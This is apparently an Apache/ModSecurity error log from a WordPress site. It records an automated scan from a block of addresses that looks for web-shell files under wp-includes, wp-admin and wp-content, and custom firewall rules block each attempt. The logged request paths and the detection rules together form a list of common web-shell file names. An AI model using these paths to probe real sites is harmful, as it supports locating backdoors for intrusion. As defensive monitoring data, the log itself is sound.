[Sat Feb 28 08:40:08.374568 2026] [proxy_fcgi:error] [pid 22194:tid 22198] [client 173.244.55.22:53467] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:40:09.274348 2026] [:error] [pid 22194:tid 22201] [client 173.244.55.22:53467] [client 173.244.55.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aaI5aX6mbajs3bzQGyuIGQAAAUU"]
[Sat Feb 28 08:40:10.157158 2026] [:error] [pid 39183:tid 39207] [client 173.244.55.20:35709] [client 173.244.55.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aaI5ahCf4HvhVePw3LaYrwAAAA8"]
[Sat Feb 28 08:40:11.040584 2026] [:error] [pid 39183:tid 39194] [client 173.244.55.20:31169] [client 173.244.55.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/admin.php"] [unique_id "aaI5axCf4HvhVePw3LaYvAAAAAI"]
[Sat Feb 28 08:40:11.913901 2026] [:error] [pid 11791:tid 11815] [client 173.244.55.26:39789] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/security.php"] [unique_id "aaI5a2uX5e1Q32gqxH0J2AAAARY"]
[Sat Feb 28 08:40:13.222472 2026] [:error] [pid 39185:tid 39263] [client 173.244.55.26:49221] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aaI5bRVE-FfM89u7BQaUHAAAAJE"]
[Sat Feb 28 08:40:14.986232 2026] [:error] [pid 11791:tid 11794] [client 173.244.55.22:33885] [client 173.244.55.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/about.php"] [unique_id "aaI5bmuX5e1Q32gqxH0KGAAAAQE"]
[Sat Feb 28 08:40:16.901462 2026] [proxy_fcgi:error] [pid 39183:tid 39211] [client 173.244.55.21:61391] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:40:18.255504 2026] [proxy_fcgi:error] [pid 39183:tid 39192] [client 173.244.55.21:61391] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:40:18.690847 2026] [:error] [pid 39183:tid 39212] [client 173.244.55.21:61391] [client 173.244.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "aaI5chCf4HvhVePw3LaY-AAAABQ"]
[Sat Feb 28 08:40:20.022567 2026] [proxy_fcgi:error] [pid 39183:tid 39194] [client 173.244.55.26:25737] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:40:20.463455 2026] [proxy_fcgi:error] [pid 39183:tid 39207] [client 173.244.55.26:25737] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:40:22.233083 2026] [:error] [pid 39183:tid 39215] [client 173.244.55.26:25737] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/admin.php"] [unique_id "aaI5dhCf4HvhVePw3LaZDgAAABc"]
[Sat Feb 28 08:40:23.131383 2026] [:error] [pid 22194:tid 22219] [client 173.244.55.29:20749] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/admin.php"] [unique_id "aaI5d36mbajs3bzQGyuIqAAAAVc"]
[Sat Feb 28 08:40:24.019309 2026] [proxy_fcgi:error] [pid 39185:tid 39257] [client 173.244.55.21:43483] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:40:24.460419 2026] [:error] [pid 39185:tid 39267] [client 173.244.55.21:43483] [client 173.244.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/file.php"] [unique_id "aaI5eBVE-FfM89u7BQaUcwAAAJU"]
[Sat Feb 28 08:40:25.403472 2026] [proxy_fcgi:error] [pid 39292:tid 39316] [client 173.244.55.22:24181] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:40:26.753938 2026] [:error] [pid 39292:tid 39309] [client 173.244.55.22:24181] [client 173.244.55.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "aaI5eqIAO5fN7BxyqcEfKwAAAM8"]
[Sat Feb 28 08:40:29.570107 2026] [:error] [pid 39185:tid 39250] [client 173.244.55.23:50173] [client 173.244.55.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "aaI5fRVE-FfM89u7BQaUkAAAAIQ"]
[Sat Feb 28 08:40:31.356198 2026] [:error] [pid 39292:tid 39303] [client 173.244.55.28:21675] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/admin.php"] [unique_id "aaI5f6IAO5fN7BxyqcEfkgAAAMk"]
[Sat Feb 28 08:40:33.138265 2026] [:error] [pid 39185:tid 39269] [client 173.244.55.26:37883] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aaI5gRVE-FfM89u7BQaUqAAAAJc"]
[Sat Feb 28 08:40:34.942786 2026] [proxy_fcgi:error] [pid 39185:tid 39248] [client 173.244.55.29:22063] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:40:35.393451 2026] [proxy_fcgi:error] [pid 39185:tid 39270] [client 173.244.55.29:22063] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:40:35.846446 2026] [proxy_fcgi:error] [pid 39185:tid 39262] [client 173.244.55.29:22063] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:40:36.290989 2026] [proxy_fcgi:error] [pid 39185:tid 39260] [client 173.244.55.29:22063] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:40:38.530240 2026] [:error] [pid 39185:tid 39262] [client 173.244.55.29:22063] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aaI5hhVE-FfM89u7BQaU5wAAAJA"]
[Sat Feb 28 08:40:39.417506 2026] [:error] [pid 11791:tid 11805] [client 173.244.55.23:27299] [client 173.244.55.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "aaI5h2uX5e1Q32gqxH0LAwAAAQw"]
[Sat Feb 28 08:40:40.295253 2026] [:error] [pid 22194:tid 22210] [client 173.244.55.23:45621] [client 173.244.55.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "aaI5iH6mbajs3bzQGyuJhwAAAU4"]
[Sat Feb 28 08:40:41.175265 2026] [:error] [pid 39292:tid 39299] [client 173.244.55.28:21047] [client 173.244.55.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "aaI5iaIAO5fN7BxyqcEf6wAAAMU"]
[Sat Feb 28 08:40:42.067959 2026] [:error] [pid 22194:tid 22211] [client 173.244.55.21:43775] [client 173.244.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "aaI5in6mbajs3bzQGyuJqgAAAU8"]
[Sat Feb 28 08:40:42.960123 2026] [:error] [pid 22194:tid 22204] [client 173.244.55.25:47425] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "aaI5in6mbajs3bzQGyuJxQAAAUg"]
[Sat Feb 28 08:40:43.842312 2026] [:error] [pid 22194:tid 22213] [client 173.244.55.23:40503] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/ocean/index.php"] [unique_id "aaI5i36mbajs3bzQGyuJ4gAAAVE"]
[Sat Feb 28 08:40:44.715471 2026] [:error] [pid 22194:tid 22214] [client 173.244.55.23:62579] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/ocean/index.php"] [unique_id "aaI5jH6mbajs3bzQGyuJ9QAAAVI"]
[Sat Feb 28 08:40:46.030052 2026] [:error] [pid 39184:tid 39235] [client 173.244.55.20:56017] [client 173.244.55.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/media/index.php"] [unique_id "aaI5jltZF9Zd_U7easB1oQAAAFA"]
[Sat Feb 28 08:40:46.922540 2026] [:error] [pid 22194:tid 22210] [client 173.244.55.28:36895] [client 173.244.55.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "aaI5jn6mbajs3bzQGyuKGAAAAU4"]
[Sat Feb 28 08:40:47.801521 2026] [:error] [pid 39185:tid 39247] [client 173.244.55.26:52281] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "aaI5jxVE-FfM89u7BQaVKQAAAIE"]
[Sat Feb 28 08:40:48.681654 2026] [:error] [pid 11791:tid 11800] [client 173.244.55.21:23743] [client 173.244.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "aaI5kGuX5e1Q32gqxH0LVwAAAQc"]
[Sat Feb 28 08:40:50.428613 2026] [:error] [pid 39292:tid 39315] [client 173.244.55.26:46631] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/themes.php"] [unique_id "aaI5kqIAO5fN7BxyqcEgRgAAANU"]
[Sat Feb 28 08:40:51.740721 2026] [:error] [pid 11791:tid 11812] [client 173.244.55.29:33213] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/index.php"] [unique_id "aaI5k2uX5e1Q32gqxH0LmAAAARM"]
[Sat Feb 28 08:40:52.614641 2026] [proxy_fcgi:error] [pid 39185:tid 39248] [client 173.244.55.30:32319] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:40:53.498002 2026] [:error] [pid 39185:tid 39266] [client 173.244.55.30:32319] [client 173.244.55.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "aaI5lRVE-FfM89u7BQaVfgAAAJQ"]
[Sat Feb 28 08:40:55.265028 2026] [:error] [pid 22194:tid 22202] [client 173.244.55.31:48691] [client 173.244.55.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "aaI5l36mbajs3bzQGyuKcgAAAUY"]
[Sat Feb 28 08:40:56.152449 2026] [proxy_fcgi:error] [pid 39185:tid 39257] [client 173.244.55.31:42005] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:40:57.084042 2026] [proxy_fcgi:error] [pid 39185:tid 39247] [client 173.244.55.31:42005] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:40:57.522729 2026] [:error] [pid 39185:tid 39253] [client 173.244.55.31:42005] [client 173.244.55.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "aaI5mRVE-FfM89u7BQaVoQAAAIc"]
[Sat Feb 28 08:40:58.847846 2026] [proxy_fcgi:error] [pid 39185:tid 39267] [client 173.244.55.29:57117] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:40:59.298449 2026] [proxy_fcgi:error] [pid 39185:tid 39270] [client 173.244.55.29:57117] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:40:59.754633 2026] [proxy_fcgi:error] [pid 39185:tid 39266] [client 173.244.55.29:57117] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:41:00.194370 2026] [:error] [pid 39185:tid 39270] [client 173.244.55.29:57117] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "aaI5nBVE-FfM89u7BQaVzAAAAJg"]
[Sat Feb 28 08:41:01.084573 2026] [:error] [pid 39183:tid 39211] [client 173.244.55.28:63613] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/flower.php"] [unique_id "aaI5nRCf4HvhVePw3LaZkAAAABM"]
[Sat Feb 28 08:41:01.970569 2026] [proxy_fcgi:error] [pid 39185:tid 39247] [client 173.244.55.25:61531] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:41:02.410895 2026] [:error] [pid 39185:tid 39258] [client 173.244.55.25:61531] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "aaI5nhVE-FfM89u7BQaV5gAAAIw"]
[Sat Feb 28 08:41:03.767794 2026] [:error] [pid 22194:tid 22208] [client 173.244.55.29:53001] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/1.php"] [unique_id "aaI5n36mbajs3bzQGyuKyAAAAUw"]
[Sat Feb 28 08:41:05.113667 2026] [proxy_fcgi:error] [pid 11791:tid 11799] [client 173.244.55.28:39655] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:41:05.560347 2026] [proxy_fcgi:error] [pid 11791:tid 11809] [client 173.244.55.28:39655] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:41:06.001091 2026] [:error] [pid 11791:tid 11796] [client 173.244.55.28:39655] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/setup.php"] [unique_id "aaI5omuX5e1Q32gqxH0MgwAAAQM"]
[Sat Feb 28 08:41:06.889737 2026] [proxy_fcgi:error] [pid 39185:tid 39251] [client 173.244.55.22:30411] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:41:07.785743 2026] [proxy_fcgi:error] [pid 39185:tid 39269] [client 173.244.55.22:30411] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:41:08.227755 2026] [:error] [pid 39185:tid 39267] [client 173.244.55.22:30411] [client 173.244.55.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugin.php"] [unique_id "aaI5pBVE-FfM89u7BQaWLgAAAJU"]
[Sat Feb 28 08:41:09.112074 2026] [:error] [pid 11791:tid 11812] [client 173.244.55.25:55709] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugin.php"] [unique_id "aaI5pWuX5e1Q32gqxH0MwQAAARM"]
[Sat Feb 28 08:41:09.990935 2026] [:error] [pid 39292:tid 39317] [client 173.244.55.22:38817] [client 173.244.55.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugin.php"] [unique_id "aaI5paIAO5fN7BxyqcEhMQAAANc"]
[Sat Feb 28 08:41:11.789228 2026] [:error] [pid 39292:tid 39318] [client 173.244.55.21:60809] [client 173.244.55.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "aaI5p6IAO5fN7BxyqcEhaQAAANg"]
[Sat Feb 28 08:41:12.688490 2026] [proxy_fcgi:error] [pid 39185:tid 39249] [client 173.244.55.30:45495] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:41:13.138476 2026] [proxy_fcgi:error] [pid 39185:tid 39256] [client 173.244.55.30:45495] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:41:13.586463 2026] [proxy_fcgi:error] [pid 39185:tid 39265] [client 173.244.55.30:45495] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:41:14.033461 2026] [proxy_fcgi:error] [pid 39185:tid 39253] [client 173.244.55.30:45495] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:41:15.372442 2026] [proxy_fcgi:error] [pid 39185:tid 39253] [client 173.244.55.30:45495] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:41:15.816125 2026] [:error] [pid 39185:tid 39263] [client 173.244.55.30:45495] [client 173.244.55.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "aaI5qxVE-FfM89u7BQaWagAAAJE"]
[Sat Feb 28 08:41:16.689349 2026] [:error] [pid 39292:tid 39304] [client 173.244.55.30:64487] [client 173.244.55.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aaI5rKIAO5fN7BxyqcEhxgAAAMo"]
[Sat Feb 28 08:41:17.577877 2026] [:error] [pid 22194:tid 22217] [client 173.244.55.30:53309] [client 173.244.55.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.244.55.30, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aaI5rX6mbajs3bzQGyuLjQAAAVU"]
[Sat Feb 28 08:41:17.598469 2026] [proxy_fcgi:error] [pid 22194:tid 22217] [client 173.244.55.30:53309] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:41:18.047556 2026] [proxy_fcgi:error] [pid 22194:tid 22215] [client 173.244.55.30:53309] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:41:18.510115 2026] [:error] [pid 22194:tid 22214] [client 173.244.55.30:53309] [client 173.244.55.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "aaI5rn6mbajs3bzQGyuLmwAAAVI"]
[Sat Feb 28 08:41:19.393037 2026] [:error] [pid 39292:tid 39311] [client 173.244.55.29:58125] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aaI5r6IAO5fN7BxyqcEh6gAAANE"]
